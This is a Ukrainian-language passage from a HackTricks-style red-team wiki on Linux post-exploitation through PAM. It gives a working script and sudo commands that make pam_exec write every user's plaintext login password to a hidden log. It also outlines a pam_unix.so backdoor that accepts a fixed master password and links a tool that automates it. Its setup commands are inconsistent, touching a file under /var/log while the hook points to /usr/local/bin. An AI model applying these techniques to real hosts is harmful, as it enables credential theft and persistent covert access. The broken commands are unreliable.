.. | ||
pam-pluggable-authentication-modules.md | ||
README.md |
Післяексплуатаційна дія на Linux
{% hint style="success" %}
Вивчайте та практикуйте хакінг AWS: Навчання AWS Red Team Expert (ARTE) від HackTricks
Вивчайте та практикуйте хакінг GCP: Навчання GCP Red Team Expert (GRTE) від HackTricks
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
- Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Підловлення паролів для входу за допомогою PAM
Давайте налаштуємо модуль PAM для реєстрації кожного пароля, який використовує кожен користувач для входу. Якщо ви не знаєте, що таке PAM, перегляньте:
{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}
Для отримання додаткових відомостей перегляньте оригінальний пост. Це лише краткий огляд:
Огляд техніки: Модулі підключення аутентифікації (PAM) пропонують гнучкість у керуванні аутентифікацією в системах на основі Unix. Вони можуть підвищити безпеку, налаштовуючи процеси входу, але також створюють ризики у разі некоректного використання. Цей огляд наводить техніку захоплення облікових даних для входу за допомогою PAM, разом зі стратегіями пом'якшення наслідків.
Захоплення облікових даних:
- Створено сценарій bash під назвою
toomanysecrets.sh
, щоб реєструвати спроби входу, захоплюючи дату, ім'я користувача ($PAM_USER
), пароль (через stdin) та IP-адресу віддаленого хоста ($PAM_RHOST
) у файл/var/log/toomanysecrets.log
. - Сценарій зроблено виконуваним та інтегровано в конфігурацію PAM (
common-auth
) за допомогою модуляpam_exec.so
з опціями для тихого запуску та викладення токену аутентифікації сценарію. - Підхід демонструє, як скомпрометований хост Linux може бути використаний для конфіденційного реєстрування облікових даних.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Додавання задніх дверей в PAM
Для отримання додаткової інформації перегляньте оригінальний пост. Це лише краткий опис:
Модуль аутентифікації, який можна підключати (PAM), є системою, що використовується в Linux для аутентифікації користувачів. Він працює на трьох основних концепціях: ім'я користувача, пароль та сервіс. Файли конфігурації для кожного сервісу розташовані в каталозі /etc/pam.d/
, де спільні бібліотеки відповідають за аутентифікацію.
Мета: Змінити PAM для можливості аутентифікації за допомогою конкретного пароля, обходячи фактичний пароль користувача. Це особливо актуально для спільної бібліотеки pam_unix.so
, яку використовує файл common-auth
, що включений майже у всі сервіси для перевірки пароля.
Кроки для модифікації pam_unix.so
:
- Знайдіть директиву аутентифікації у файлі
common-auth
:
- Рядок, що відповідає за перевірку пароля користувача, викликає
pam_unix.so
.
- Змініть вихідний код:
- Додайте умовний оператор у вихідний файл
pam_unix_auth.c
, який надає доступ, якщо використовується попередньо визначений пароль, в іншому випадку продовжується звичайний процес аутентифікації.
- Перекомпілюйте та замініть змінену бібліотеку
pam_unix.so
у відповідному каталозі. - Тестування:
- Доступ надається до різних сервісів (логін, ssh, sudo, su, заставка) за допомогою попередньо визначеного пароля, тоді як звичайні процеси аутентифікації залишаються незмінними.
{% hint style="info" %} Ви можете автоматизувати цей процес за допомогою https://github.com/zephrax/linux-pam-backdoor {% endhint %}